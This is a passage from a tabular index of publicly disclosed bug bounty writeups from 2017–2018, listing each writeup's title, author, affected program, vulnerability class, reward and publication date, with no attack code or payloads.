Directory traversal, RCE | - | 01/25/2018
[Reflected XSS + Possible Server Side Template Injection in HubSpot CMS ( All
Websites Uses HubSpot was affected )
](https://www.mohamedharon.com/2018/01/reflected-xss-possible-server-side.html) | [Mohamed Haron (@m7mdharon)](https://twitter.com/m7mdharon) |
Hubspot | Reflected XSS | - | 01/24/2018 | [Archived
content](/assets/img/list-of-bug-bounty-writeups/Web-archives/d306f67c22a1db42575c46ae1ece5bc8.jpg)
[#BugBounty @ Linkedln-How I was able to bypass Open Redirection
Protection](https://medium.com/bugbountywriteup/bugbounty-linkedln-how-i-was-able-to-bypass-open-redirection-protection-2e143eb36941) | [Avinash Jain
(@logicbomb_1)](https://twitter.com/logicbomb_1) | LinkedIn | Open redirect |
- | 01/24/2018
[Asus Cross Site Scrpting And Directory Listing
Vulnerability](https://medium.com/@adeshkolte/asus-web-application-vulnerabilities-by-adesh-n-kolte-4c14a1bb8739) | [Adesh Kolte
(@AdeshKolte)](https://twitter.com/AdeshKolte) | Asus | Directory listing, XSS
| - | 01/23/2018
[File Disclosure via .DS_Store file (macOS)](http://omespino.com/write-up-file-disclosure-via-ds_store-file-macos/) |
[@omespino](https://twitter.com/omespino) | Facebook | Directory listing | - |
01/23/2018
[Internshala Bug in Internshala Student
Partner](https://medium.com/@circleninja/internshala-bug-in-internshala-student-partner-33d7b66c1bd5) | [Circle
Ninja](https://twitter.com/circleninja) | Internshala | Bruteforce | $0 |
01/20/2018
[Reflected File Download ( RFD ) in
www.Google.com](https://www.mohamedharon.com/2018/01/reflected-file-download-rfd-in.html) | [Mohamed Haron (@m7mdharon)](https://twitter.com/m7mdharon) |
Google | Reflected File Download | $0 | 01/18/2018 | [Archived
content](/assets/img/list-of-bug-bounty-writeups/Web-archives/eb729429da9c01eb200aaa599c4db919.jpg)
[$1800 in less than an hour.](http://c0rni3sm.blogspot.com/2018/01/1800-in-less-than-hour.html) | [@yappare](https://twitter.com/yappare) | Indeed |
CSRF, XSS | $1,800 | 01/17/2018
[Reflected XSS via AngularJS Template
Injection](https://blog.ibrahimdraidia.com/xss-via-angularjs-template-injection_hostinger/) | [Taha Ibrahim
Draidia](https://twitter.com/ibrahim_draidia) | Hostinger | Reflected XSS | -| 01/17/2018
[#BugBounty — AWS S3 added to my “Bucket”
list!](https://medium.com/bugbountywriteup/bugbounty-aws-s3-added-to-my-bucket-list-f68dd7d0d1ce) | [Avinash Jain
(@logicbomb_1)](https://twitter.com/logicbomb_1) | - | AWS flaws | - |
01/16/2018
[View the bug subscriptions for any Oculus
User](https://philippeharewood.com/view-the-bug-subscriptions-for-any-oculus-user/) | [Philippe Harewood](https://twitter.com/phwd) | Facebook | IDOR | - |
01/15/2018
[Hacking Facebook accounts using CSRF in Oculus-Facebook
integration](https://www.josipfranjkovic.com/blog/hacking-facebook-oculus-integration-csrf) | [Josip Franjkovic](https://twitter.com/josipfranjkovic) |
Facebook | CSRF | - | 01/15/2018
[#BugBounty — How I was able to delete anyone’s account in an Online Car
Rental Company](https://medium.com/bugbountywriteup/bugbounty-how-i-was-able-to-delete-anyones-account-in-an-online-car-rental-company-8a4022cc611) |
[Avinash Jain (@logicbomb_1)](https://twitter.com/logicbomb_1) | - | CSRF, Web
parameter tampering | - | 01/14/2018
[Google Tez XSS](https://www.youtube.com/watch?v=9tvbEoRdgQ4&feature=youtu.be)
| [@Pethuraj](https://twitter.com/Pethuraj) | Google | XSS | $3,133.7 |
01/13/2018
[#BugBounty — How I was able to read chat of users in an Online travel
portal](https://medium.com/bugbountywriteup/bugbounty-how-i-was-able-to-read-chat-of-users-in-an-online-travel-portal-c55a1787f999) | [Avinash Jain
(@logicbomb_1)](https://twitter.com/logicbomb_1) | - | IDOR | - | 01/10/2018
[RCE Vulnerabilite in Yahoo Subdomain! ( Yahoo! RCE via Spring Engine SSTI )
By tghawkins](https://www.mohamedharon.com/2018/01/rce-vulnerabilite-in-yahoo-subdomain.html) | [Mohamed Haron (@m7mdharon)](https://twitter.com/m7mdharon)
| Yahoo! | RCE | $8,000 | 01/05/2018 | [Archived content](/assets/img/list-of-bug-bounty-writeups/Web-archives/2b4cb4e979d7bef6a0f473b5dfc108dd.jpg)
[Hunting Insecure Direct Object Reference Vulnerabilities for Fun and Profit
(PART-1)](https://blog.securitybreached.org/2018/02/04/hunting-insecure-direct-object-reference-vulnerabilities-for-fun-and-profit-part-1/) |
[Mohammed Abdul Raheem](https://twitter.com/mohdaltaf163) | - | IDOR | $3,000
| 02/04/2018
[F**k you Thomas” - ToyTalk bug bounty
writeup](https://www.digitalinterruption.com/single-post/2018/01/04/ToyTalkBugBountyWriteup) | Jahmel Harris | ToyTalk |
Authentication bypass, HTML injection | - | 01/04/2018
[Abusing internal API to achieve IDOR in New
Relic](https://www.jonbottarini.com/2018/01/02/abusing-internal-api-to-achieve-idor-in-new-relic/) | [Jon Bottarini
(@jon_bottarini)](https://twitter.com/jon_bottarini) | New Relic | IDOR |
$1000 | 01/02/2018
### 3\. Bug bounty writeups published in 2017
Title & URL | Author | Bug bounty program | Vulnerability | Reward $$$ |
Publication date
---|---|---|---|---|---
[Stealing $10,000 Yahoo
Cookies!](https://blog.witcoat.com/2018/05/30/stealing-10000-yahoo-cookies/) |
[Tabahi](https://twitter.com/tabahi_90) | Yahoo | CORS flaw | $10,000 |
12/30/2017
[Jumping to the hell with 10 attempts to bypass devil’s
WAF](https://medium.com/bugbountywriteup/jumping-to-the-hell-with-10-attempts-to-bypass-devils-waf-4275bfe679dd) | [Ak1T4
(@akita_zen)](https://twitter.com/akita_zen) | - | XSS | - | 12/27/2017
[Microsoft SharePoint’s ‘Follow’ Feature XSS (CVE-2017–8514) -Adesh
Kolte](https://medium.com/@adeshkolte/microsoft-sharepoints-follow-feature-xss-cve-2017-8514-adesh-kolte-d78d701cd064) | [Adesh Kolte
(@AdeshKolte)](https://twitter.com/AdeshKolte) | Microsoft | XSS | - |
12/21/2017
[Account Takeover Due to Misconfigured Login with
Facebook/Google](https://bhavukjain.com/blog/2017/12/20/facebook-google-login-misconfig/) | [Bhavuk Jain (@bhavukjain1)](https://twitter.com/bhavukjain1) |
Google, Facebook | Account takeover, Authorization flaw | - | 12/20/2017
[P4 to P2 - The story of one blind
SSRF](https://mike-n1.github.io/SSRF_P4toP2) | [Mikhail Klyuchnikov
(@__Mn1__)](https://twitter.com/__Mn1__) | - | Blind SSRF | - | 12/19/2017
[Unrestricted File Upload to RCE | Bug Bounty
POC](https://blog.securitybreached.org/2017/12/19/unrestricted-file-upload-to-rce-bug-bounty-poc/) | [Muhammad Khizer Javed / babayaga47
(@khizer_javed47)](https://twitter.com/khizer_javed47?lang=en) | Facebook |
RCE | - | 12/19/2017
[Don’t Trust the Host Header for Sending Password Reset
Emails](https://lightningsecurity.io/blog/host-header-injection/) | [Jack
Cable](https://twitter.com/jackhcable) | Mavenlink | Password reset flaw,
Account takeover | $1,500 | 12/13/2017
[How I was able to takeover Facebook
account](https://blog.securitybreached.org/2017/12/10/how-i-was-able-to-takeover-facebook-account-bug-bounty-poc/) | Ameer Hamza | Facebook |
Authentication bypass | $0 | 12/10/2017
[Using App Ads Helper as an Analytic
User](https://medium.com/@joshuaregio/using-app-ads-helper-as-an-analytic-user-e751fcf9c594) | Joshua Regio | Facebook | Authorization flaw | $500 |
12/09/2017
[Bug Bounty: Fastmail](https://medium.com/bugbountywriteup/bug-bounty-fastmail-feeda67905f5) | [Brian Hyde](https://twitter.com/@0xHyde) | Fastmail
| Read-only access to private server files, Blind SSRF/Blind XXE | $3000 |
12/08/2017
[How I Was Able To See The Bounty Balance Of Any Bug Bounty Program In
HackerOne](https://medium.com/secjuice/how-i-was-able-to-view-exact-bounty-balance-of-any-bug-bounty-program-in-hackerone-f0e18e4206d5) | [Cj
Legacion](https://twitter.com/LegacionCj) | Hackerone | Logic flaw | $0 |
12/06/2017
[Getting a RCE — CTF Way](https://medium.com/@uranium238/getting-a-rce-ctf-way-2fd612fb643f) | [Uranium238
(@uraniumhacker)](https://twitter.com/uraniumhacker) | - | RCE | - |
12/05/2017
[DEV XSS Protection bypass made my quickest bounty
ever!!](https://medium.com/@Skylinearafat/xss-protection-bypass-made-my-quickest-bounty-ever-f4fd970c9116) | Yeasir Arafat | - | XSS | $150 |
12/03/2017
[LFI to Command Execution: Deutche Telekom Bug
Bounty](https://medium.com/@maxon3/lfi-to-command-execution-deutche-telekom-bug-bounty-6fe0de7df7a6) | [Daniel
Maksimovic](https://www.linkedin.com/in/daniel-maksimovic-73537882/) | Deutche
Telekom | LFI, RCE | - | 11/30/2017
[Image removal vulnerability in Facebook polling
feature](https://blog.darabi.me/2017/11/image-removal-vulnerability-in-facebook.html) | [Pouya Darabi
(@Pouyadarabi)](https://twitter.com/Pouyadarabi) | Facebook | IDOR | $10,000 |
11/25/2017
[Story of bypassing Referer Header to make open
redirect](https://medium.com/@malcolmx0x/story-of-bypassing-referer-header-to-make-open-redirect-94f938b9d032) | [Mohammed Eldeeb
(@malcolmx0x)](https://twitter.com/@malcolmx0x) | - | Open redirect | - |
11/22/2017
[Taking note: XSS to RCE in the Simplenote Electron
client](https://ysx.me.uk/taking-note-xss-to-rce-in-the-simplenote-electron-client/) | [Yasin Soliman (@SecurityYasin)](https://twitter.com/SecurityYasin)
| Automattic | XSS, RCE | - | 11/22/2017
[Amazon Bypass Open Redirect](https://medium.com/@honcbb/amazon-bypass-open-redirect-12609c879dff) | [Honc (@honcbb)](https://twitter.com/honcbb) | Amazon
| Open redirect | - | 11/19/2017
[VMware Official VCDX Reflected XSS](https://medium.com/@honcbb/vmware-official-vcdx-reflected-xss-90e69a3c35e1) | [Honc
(@honcbb)](https://twitter.com/honcbb) | VMware | Reflected XSS | - |
11/19/2017
[UBER Wildcard Subdomain Takeover | BugBounty
POC](https://blog.securitybreached.org/2017/11/20/uber-wildcard-subdomain-takeover) | [Muhammad Khizer Javed / babayaga47
(@khizer_javed47)](https://twitter.com/khizer_javed47?lang=en) | Uber |
Subdomain takeover | - | 11/20/2017
[Account Take Over Vulnerability in Google acquisition
[Famebit]](https://medium.com/bugbountywriteup/account-take-over-vulnerability-in-google-acquisition-famebit-e93b1a0a7af9) | [Hassan Khan
Yusufzai](https://www.linkedin.com/in/hassankhanyusufzai/) | Google | CSRF | -| 11/17/2017
[Transforming a Domain into the Matrix (an open redirect
story)](https://medium.com/bugbountywriteup/transforming-a-domain-into-the-matrix-an-open-redirect-story-4bd87c3a8caa) | [Ak1T4
(@akita_zen)](https://twitter.com/akita_zen) | - | Open redirect | - |
11/17/2017
[SQL in everywhere.](https://medium.com/@agrawalsmart7/sql-is-every-where-5cba6ae9480a) | [Utkarsh Agrawal](https://twitter.com/agrawalsmart7) | -| SQL injection | $0 | 11/16/2017
[Why I walked away from $30,000 of DJI bounty
money](http://www.digitalmunition.com/WhyIWalkedFrom3k.pdf) | [Kevin
Finisterre](https://twitter.com/d0tslash) | DJI | AWS flaw | $0 | 11/16/2017
[SQL in everywhere.](https://medium.com/@agrawalsmart7/sql-is-every-where-5cba6ae9480a) | [Utkarsh Agrawal](https://twitter.com/agrawalsmart7) | -| SQL injection | $0 | 11/16/2017
[Bypassing Crossdomain Policy and Hit Hundreds of Top Alexa
Sites](https://medium.com/bugbountywriteup/bypassing-crossdomain-policy-and-hit-hundreds-of-top-alexa-sites-af1944f6bbf5) | [Ak1T4
(@akita_zen)](https://twitter.com/akita_zen) | - | CSRF | - | 11/16/2017
[How signing up for an account with an @company.com email can have unexpected
results](https://medium.com/@zseano/how-signing-up-for-an-account-with-an-company-com-email-can-have-unexpected-results-7f1b700976f5) |
[@zseano](https://twitter.com/zseano) | - | Logic flaw | - | 11/15/2017
[ How I Pwned a company using IDOR & Blind
XSS](https://www.ansariosama.com/2017/11/how-i-pwned-company-using-idor-blind-xss.html) | [Osama Ansari](https://twitter.com/AnsariOsama10?lang=en) | - |
IDOR, Blind XSS | - | 11/15/2017
[ Stealing bitcoin wallet backups from blockchain.info
](http://blog.shashank.co/2017/11/stealing-bitcoin-wallet-backups-from.html) |
[Shashank](https://twitter.com/cyberboyIndia) | Blockchain.info | Logic flaw |
$1,600 | 11/11/2017
[How to delete all company progress by one “rm” command in AWS s3
Buckets](https://medium.com/@valeriyshevchenko/how-to-delete-all-company-progress-by-one-rm-command-in-aws-s3-bucket-df9c44727d7b) | Valeriy Shevchenko
| - | AWS flaw | $0 | 11/09/2017
[ Local File Read via XSS in Dynamically Generated PDF
](http://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html) |
[Rahul Maini](https://twitter.com/iamnoooob) | - | XSS, LFI | - | 11/08/2017
[From SSRF to Local File Disclosure](https://medium.com/@tungpun/from-ssrf-to-local-file-disclosure-58962cdc589f) | Tung Pun | - | SSRF, Local File
Disclosure | $0 | 11/08/2017
[Get your Microsoft account hijacked by simply clicking connect button -Adesh
Kolte](https://medium.com/@adeshkolte/get-your-microsoft-account-hijacked-by-simply-clicking-connect-button-adesh-kolte-cc0b335b0221) | [Adesh Kolte
(@AdeshKolte)](https://twitter.com/AdeshKolte) | Microsoft | Stored XSS | - |
11/06/2017
[Open redirect in informatica
(BugBounty)](https://medium.com/@vulnerables/open-redirect-in-informatica-bugbounty-753cf78b2a68) | [Vulnerables](https://medium.com/@vulnerables) |
Informatica | Open redirect | - | 11/06/2017
[Multiple Intel Vulnerabilities-Adesh
Kolte](https://medium.com/@adeshkolte/multiple-intel-vulnerabilities-adesh-kolte-9f74372db34c) | [Adesh Kolte
(@AdeshKolte)](https://twitter.com/AdeshKolte) | Intel | Open redirect,
Directory listing | - | 11/05/2017
[Non-persistent XSS at Microsoft -Adesh
Kolte](https://medium.com/@adeshkolte/non-persistent-xss-at-microsoft-adesh-kolte-ad36b1b4a325) | [Adesh Kolte
(@AdeshKolte)](https://twitter.com/AdeshKolte) | Microsoft | Reflected XSS | -| 11/05/2017
[CRLF injection in blockchain.info](http://blog.shashank.co/2017/11/crlf-injection-in-bockchaininfo.html) |
[Shashank](https://twitter.com/cyberboyIndia) | Blockchain.info | CRLF
injection | $1,600 | 11/05/2017
[Accessing Localhost via
Vhost](https://blog.securitybreached.org/2017/11/04/access-localhost-via-virtual-host-virtual-host-enumeration/) | [Muhammad Khizer Javed / babayaga47
(@khizer_javed47)](https://twitter.com/khizer_javed47?lang=en) | - | vhost
flaw | - | 11/04/2017
[Accessing Localhost via Vhost | VIRTUAL HOST ENUMERATION | BugBounty
POC](https://blog.securitybreached.org/2017/11/04/access-localhost-via-virtual-host-virtual-host-enumeration/) | [Muhammad Khizer Javed / babayaga47
(@khizer_javed47)](https://twitter.com/khizer_javed47?lang=en) | - | vHost
enumeration | - | 11/04/2017
[[Facebook Bug Bounty] How I was able to enumerate Instagram Accounts who had
enabled 2FA (Two Step Verification) for additional
protection](https://medium.com/@zk34911/facebook-bug-bounty-how-i-was-able-to-enumerate-instagram-accounts-who-had-enabled-2fa-two-step-fddba9e9741c) |
[Peerzada Fawaz Ahmad Qureshi (@zk34911)](https://twitter.com/zk34911) |
Facebook | Logic flaw | $500 | 11/03/2017
[App Maker and Colaboratory: a stored Google XSS double-bill](https://ysx.me.uk/app-maker-and-colaboratory-a-stored-google-xss-double-bill/) | [Yasin Soliman (@SecurityYasin)](https://twitter.com/SecurityYasin) |
Google | Stored XSS | - | 11/01/2017
[How I hacked Google’s bug tracking system itself for $15,600 in
bounties](https://medium.freecodecamp.org/messing-with-the-google-buganizer-system-for-15-600-in-bounties-58f86cc9f9a5) | [Alex
Birsan](https://twitter.com/alxbrsn) | Google | Logic flaws | $15,600 |
10/30/2017
[Abusing new Claps feature in
Medium](https://medium.com/bugbountywriteup/abusing-new-claps-feature-in-medium-6bd8757a64a4) | [Sai Krishna
Kothapalli](https://twitter.com/kmskrishna) | Medium | IDOR | $0 | 10/29/2017
[Slack SAML authentication
bypass](https://blog.intothesymmetry.com/2017/10/slack-saml-authentication-bypass.html) | [Antonio Sanso (@asanso)](https://twitter.com/asanso) | Slack |
Authentication bypass | $3,000 | 10/26/2017
[How i found an SSRF in Yahoo! Guesthouse (Recon
Wins)](https://medium.com/@th3g3nt3l/how-i-found-an-ssrf-in-yahoo-guesthouse-recon-wins-8722672e41d4) | [Th3G3nt3lman](https://twitter.com/Th3G3nt3lman) |
Yahoo | SSRF | - | 10/20/2017
[Taking over every Ad on OLX (automated), an IDOR
story](https://kciredor.com/taking-over-every-ad-on-olx-automated-an-idor-story.html) | [Roderick Schaefer](https://twitter.com/kciredor_) | OLX | IDOR
| - | 10/18/2017
[Sensitive data exposure by requesting a resource with a different content
type](https://medium.com/@yogendra_h1/sensitive-data-exposure-by-requesting-a-resource-with-a-different-content-type-27412a9d6e2f) | [Yogendra Jaiswal
(Vulnholic)](https://twitter.com/yogendra_h1) | - | Information disclosure | -| 10/17/2017
[How I hacked all the [REDACT] Agents
accounts](https://medium.com/@neerajedwards/how-i-hacked-all-the-redact-agents-accounts-ec165b7c514a) | [Neeraj
Sonaniya](https://twitter.com/neeraj_sonaniya) | - | Default credentials |
$100 | 10/17/2017
[Reading Internal Files using SSRF
vulnerability](https://medium.com/@neerajedwards/reading-internal-files-using-ssrf-vulnerability-703c5706eefb) | [Neeraj
Sonaniya](https://twitter.com/neeraj_sonaniya) | - | SSRF | - | 10/16/2017
[DOM XSS – auth.uber.com](http://stamone-bug-bounty.blogspot.com/2017/10/dom-xss-auth_14.html) | StamOne_ | Uber | DOM XSS | - | 10/14/2017
[How I was Able to see someone’s all private files with a single file share
link through Atom feed & Never Give Up #togetherwehitharder
HackerOne](https://medium.com/bugbountywriteup/how-i-was-able-to-see-someones-all-private-files-with-a-single-file-share-link-through-atom-feed-7cde46d7e84d) | [Yogendra Jaiswal
(Vulnholic)](https://twitter.com/yogendra_h1) | - | Information disclosure | -| 10/13/2017
[Leaking Amazon.com CSRF Tokens Using Service Worker
API](https://ahussam.me/Amazon-leaking-csrf-token-using-service-worker/) |
[Abdullah Hussam (@Abdulahhusam)](https://twitter.com/Abdulahhusam) | Amazon |
CSRF | $0 | 10/11/2017
[Bugcrowd’s Domain & Subdomain Takeover
vulnerability!](https://blog.securitybreached.org/2017/10/10/bugcrowds-domain-subdomain-takeover-vulnerability) | [Muhammad Khizer Javed / babayaga47
(@khizer_javed47)](https://twitter.com/khizer_javed47?lang=en) | Bugcrowd |
Subdomain takeover | $600 | 10/10/2017
[Exploiting Insecure Cross Origin Resource Sharing ( CORS ) |
api.artsy.net](https://blog.securitybreached.org/2017/10/10/exploiting-insecure-cross-origin-resource-sharing-cors-api-artsy-net) | [Muhammad Khizer
Javed / babayaga47
(@khizer_javed47)](https://twitter.com/khizer_javed47?lang=en) |
[Artsy](https://hackerone.com/artsy) | CORS flaw | - | 10/10/2017
[Subdomain Takeover Through Expired Cloudfront
Distribution](https://blog.securitybreached.org/2017/10/10/subdomain-takeover-lamborghini-hacked/ | live.lamborghini.co) | [Muhammad Khizer Javed /
babayaga47 (@khizer_javed47)](https://twitter.com/khizer_javed47?lang=en) |
[Lamborghini](https://www.openbugbounty.org/reports/154723) | Subdomain
takeover | - | 10/10/2017
[Facebook GraphQL CSRF](https://philippeharewood.com/facebook-graphql-csrf/) |
[Philippe Harewood](https://twitter.com/phwd) | Facebook | CSRF | $7,500 |
10/08/2017
[How I Was Able To View Private Tweets Of Any Private Twitter
Account](https://medium.com/secjuice/how-i-was-able-to-view-private-tweets-of-any-private-twitter-account-86a9d2640ded) | [Cj
Legacion](https://twitter.com/LegacionCj) | Twitter | IDOR | - | 10/06/2017
[How I could have mass uploaded from every Flickr
account!](https://ret2got.wordpress.com/2017/10/05/how-i-could-have-mass-uploaded-from-every-flickr-account/) | [Jazzy
(@ret2got)](https://twitter.com/ret2got) | Yahoo | Bruteforce | $4,000 |
10/05/2017
[Device Authorization Bypass!](https://medium.com/bugbountywriteup/device-authorization-bypass-aa508c9193ed) | [Hassan Khan
Yusufzai](https://www.linkedin.com/in/hassankhanyusufzai/) | - | Authorization
flaw | - | 09/25/2017
[Filter Bypass to Reflected XSS on https://finance.yahoo.com (mobile
version)](https://medium.com/@saamux/filter-bypass-to-reflected-xss-on-https-finance-yahoo-com-mobile-version-22b854327b27) | [Samuel
(@saamux)](https://twitter.com/saamux) | Yahoo | Reflected XSS | - |
09/24/2017
[900$ XSS in yahoo ( Recon Wins
)](https://medium.com/bugbountywriteup/900-xss-in-yahoo-recon-wins-65ee6d4bfcbd) | [Th3G3nt3lman](https://twitter.com/Th3G3nt3lman) | Yahoo
| XSS | $900 | 09/24/2017
[How i bypassed Practo’s firewall and triggered a
XSS.](https://medium.com/bugbountywriteup/how-i-bypassed-practos-firewall-and-triggered-a-xss-b30164a8f1dc) | [Vipin
Chaudhary](https://twitter.com/vipinxsec?lang=en) | Practo | XSS | - |
09/23/2017
[IDOR – Execute JavaScript into anyone account](https://guptashubham.com/idor-execute-javascript-into-anyone-account/) | [Shubham
Gupta](https://twitter.com/hackerspider1) | Terapeak | IDOR, Stored XSS | - |
09/21/2017
[Stored XSS to Full Information disclosure](https://guptashubham.com/stored-xss-to-full-information-disclosure/) | [Shubham
Gupta](https://twitter.com/hackerspider1) | Terapeak | Stored XSS | $750 |
09/21/2017
[Luminate Internal Privilege Escalation — Admin to
Owner](https://medium.com/@rojanrijal/luminate-internal-privilege-escalation-admin-to-owner-2ca28e575985) | [Rojan Rijal](https://twitter.com/RojanRijal) |
Yahoo | Authorization flaw | - | 09/21/2017
[All About Hackerone Private Program Terapeak](https://guptashubham.com/all-about-hackerone-private-program-terapeak/) | [Shubham
Gupta](https://twitter.com/hackerspider1) | Terapeak | IDOR, Reflected XSS |
$0 | 09/20/2017
[This domain is my domain — G Suite A record
vulnerability](https://medium.com/@rojanrijal/this-domain-is-my-domain-g-suite-a-record-vulnerability-b447a90a8de7) | [Rojan
Rijal](https://twitter.com/RojanRijal) | Google | Domain takeover | - |
09/20/2017
[Multiple vulnerabilities in Oracle EBS](https://guptashubham.com/multiple-vulnerabilities-in-oracle-ebs/) | [Shubham
Gupta](https://twitter.com/hackerspider1) | - | SQL injection, XXE, XSS | - |
09/19/2017
[First bounty, time to step up my game](https://kciredor.com/first-bounty-time-to-step-up-my-game.html) | [Roderick
Schaefer](https://twitter.com/kciredor_) | - | SOME | - | 09/19/2017
[ Exploiting a Single Request for Multiple Vulnerabilities
](https://www.ansariosama.com/2017/09/exploiting-single-request-for-multiple.html) | [Osama Ansari](https://twitter.com/AnsariOsama10?lang=en) | -| Stored XSS, Reflected XSS, SSRF, Command injection | - | 09/19/2017
[Story of a Parameter Specific XSS!](http://www.noob.ninja/2017/09/story-of-parameter-specific-xss.html) | [Rahul Maini](https://twitter.com/iamnoooob) |
- | XSS | - | 09/19/2017
[Chaining Self XSS with UI Redressing is Leading to Session Hijacking (PWN
users like a boss)](https://medium.com/bugbountywriteup/chaining-self-xss-with-ui-redressing-is-leading-to-session-hijacking-pwn-users-like-a-boss-efb46249cd14) | [Armaan Pathan](https://twitter.com/armaancrockroax) | - |
Self XSS, Clickjacking | - | 09/18/2017
[Stored XSS] with arbitrary cookie
installation](https://medium.com/@arbazhussain/stored-xss-with-arbitrary-cookie-installation-567931433c7f) | [Arbaz
Hussain](https://twitter.com/ArbazKiraak) | - | XSS | - | 09/17/2017
[URL Whitelist Bypass - Accounts Google (accounts.google.com) -VRP](http://manuel-sousa.blogspot.com/2017/09/url-whitelist-bypass-accounts-google.html) | [Manuel Sousa
(@manuelvsousa)](https://twitter.com/manuelvsousa) | Google | Open redirect |
$0 (Duplicate), HoF | 09/10/2017
[How I hacked hundreds of companies through their
helpdesk](https://medium.com/intigriti/how-i-hacked-hundreds-of-companies-through-their-helpdesk-b7680ddc2d4c) | [Inti De
Ceukelaire](https://twitter.com/securinti) | Gitlab, Slack, Yammer, Kayako,
Zendesk & more | Logic flaw, Ticket Trick | $5,000 | 09/10/2017
[Bypassing Facebook Profile Picture Guard
Security.](https://hackernoon.com/bypassing-facebook-profile-picture-guard-security-f0676550f089) | [Armaan Pathan](https://twitter.com/armaancrockroax)
| Facebook | Authorization flaw | $0 | 09/09/2017
[Phishing with history.back() open
redirect](https://medium.com/@0xHyde/exploiting-history-back-3ec789c124dd) |
[Brian Hyde](https://twitter.com/@0xHyde) | - | Open redirect | - | 09/09/2017
[Reflective XSS and Open Redirect on Indeed.com
subdomain](https://medium.com/@SyntaxError4/reflective-xss-and-open-redirect-on-indeed-com-subdomain-b4ab40e40c83) | [Syntax
Error](https://twitter.com/SYNTAXERRORBA) | Indeed | Reflective XSS, Open
redirect | - | 09/04/2017
[How I found Reflective XSS in Yahoo
Subdomain](https://medium.com/@SyntaxError4/how-i-found-reflective-xss-in-yahoo-subdomain-3ad4831b386e) | [Syntax
Error](https://twitter.com/SYNTAXERRORBA) | Yahoo | Reflective XSS | - |
09/03/2017
[IDOR on HackerOne Hacker Review “What Program
Say”](https://medium.com/japzdivino/idor-on-hackerone-hacker-review-what-program-say-885ce3989a6f) | [Japz Divino](https://twitter.com/@japzdivino) |
Hackerone | IDOR | $0, Swag | 09/02/2017
[Don’t just alert(1) , Because XSS is for
fun…!!](https://medium.com/@armaanpathan/dont-just-alert-1-because-xss-is-for-fun-f88cfb88d5b9) | [Armaan Pathan](https://twitter.com/armaancrockroax) |
Optimizely | XSS | $0 | 09/02/2017
[My write up about UBER Cross-site scripting by help of
KNOXSS](https://medium.com/@Alra3ees/my-write-up-about-uber-cross-site-scripting-by-help-of-knoxss-b1b56f8d090) | [Emad
Shanab](https://twitter.com/Alra3ees) | Uber | Reflected XSS | $500 |
09/02/2017
[Stealing 0Auth Token (MITM)](https://medium.com/@arbazhussain/stealing-0auth-token-mitm-3eeab46e96cf) | [Arbaz Hussain](https://twitter.com/ArbazKiraak) |
- | OAuth flaw | - | 09/01/2017
[Reflected XSS in Yahoo!](https://medium.com/@TheShahzada/reflected-xss-in-yahoo-6e2b6b177448) | [Shahzada AL Shahriar
Khan](https://twitter.com/TheShahzada) | Yahoo | Reflected XSS | $700 |
08/31/2017
[Uber XSS via Cookie ](http://zhchbin.github.io/2017/08/30/Uber-XSS-via-Cookie/) | [Chaobin Zhang](http://zhchbin.github.io/about/) | Uber | XSS |
$5,000 | 08/30/2017
[Luminate Store Basics defacement and potential
takeover](https://medium.com/@rojanrijal/luminate-store-basics-defacement-and-potential-takeover-3b53d1e45b4f) | [Rojan
Rijal](https://twitter.com/RojanRijal) | Yahoo | CSRF, Improper session
management | - | 08/30/2017
[Developer Luminate IDOR](https://medium.com/@rojanrijal/developer-luminate-idor-42bd0d98e0c) | [Rojan Rijal](https://twitter.com/RojanRijal) | Yahoo |
IDOR | - | 08/30/2017
[Developer Luminate IDOR](https://medium.com/@uranium238/developer-luminate-idor-e8c40b03dd2f) | [Uranium238
(@uraniumhacker)](https://twitter.com/uraniumhacker) | Yahoo | IDOR | - |
08/30/2017
[Luminate Store Basics defacement and potential
takeover](https://medium.com/@uranium238/luminate-store-basics-defacement-and-potential-takeover-9cf336fac8e5) | [Uranium238
(@uraniumhacker)](https://twitter.com/uraniumhacker) | Yahoo | CSRF | - |
08/30/2017
[Improper Storage of Private Project’s
Files](https://medium.com/@arbazhussain/improper-storage-of-protected-projects-files-9ece8e9a4743) | [Arbaz
Hussain](https://twitter.com/ArbazKiraak) | - | IDOR | - | 08/30/2017
[Bypassing Rate Limit Protection by spoofing originating
IP](https://medium.com/@arbazhussain/bypassing-rate-limit-protection-by-spoofing-originating-ip-ff06adf34157) | [Arbaz
Hussain](https://twitter.com/ArbazKiraak) | - | Bruteforce | - | 08/30/2017
[Upgrade from LFI to RCE via PHP
Sessions](https://www.rcesecurity.com/2017/08/from-lfi-to-rce-via-php-sessions/) | [Julien Ahrens](https://twitter.com/MrTuxracer) | - | LFI, RCE |
- | 08/28/2017
[Pre-domain wildcard CORS
Exploitation](https://medium.com/bugbountywriteup/pre-domain-wildcard-cors-exploitation-2d6ac1d4bd30) | [Arbaz Hussain](https://twitter.com/ArbazKiraak)
| - | CORS flaw | $1000 | 08/26/2017
[Facebook stories disclose Facebook friend
list](https://philippeharewood.com/facebook-stories-disclose-facebook-friend-list/) | [Philippe Harewood](https://twitter.com/phwd) | Facebook | Logic
flaw, Authorization flaw | - | 08/24/2017
[Password Not Provided - Compromising Any Flurry User’s Account [Yahoo Bug
Bounty]](https://lightningsecurity.io/blog/password-not-provided/) | [Jack
Cable](https://twitter.com/jackhcable) | Yahoo | Authentication flaw, Account
takeover | - | 08/15/2017
[Accidentally typo to bypass administration
access](http://c0rni3sm.blogspot.com/2017/08/accidentally-typo-to-bypass.html?m=1) | [@yappare](https://twitter.com/yappare) | - |
Authentication bypass | - | 08/13/2017
[Reflected XSS on www.yahoo.com](https://medium.com/@saamux/reflected-xss-on-www-yahoo-com-9b1857cecb8c) | [Samuel (@saamux)](https://twitter.com/saamux) |
Yahoo | Reflected XSS | - | 08/12/2017
[Chain the vulnerabilities and take your report impact on the moon (CSRF to
HTML INJECTION which results OPEN REDIRECT and could steal USER
CREDENTIALS)](https://medium.com/@armaanpathan/chain-the-vulnerabilities-and-take-your-report-impact-on-the-moon-csrf-to-html-injection-which-608fa6e74236)
| [Armaan Pathan](https://twitter.com/armaancrockroax) | Legal Robot | CSRF,
HTML injection | $40 | 08/12/2017
[Armaan Patha](https://medium.com/@armaanpathan/idor-was-leading-to-privilege-escalation-and-violating-the-facebook-policy-355c67c654e6) | [Armaan
Pathan](https://twitter.com/armaancrockroax) | Facebook | IDOR | $2,000 |
08/11/2017
[Getting access to 25k employees
details](https://medium.com/securityescape/getting-access-to-25k-employees-details-c085d18b73f0) | [Sahil Ahamad](https://twitter.com/ehsahil) | - |
Exposed registration page giving access to 25 employees details | $2500 |
08/11/2017
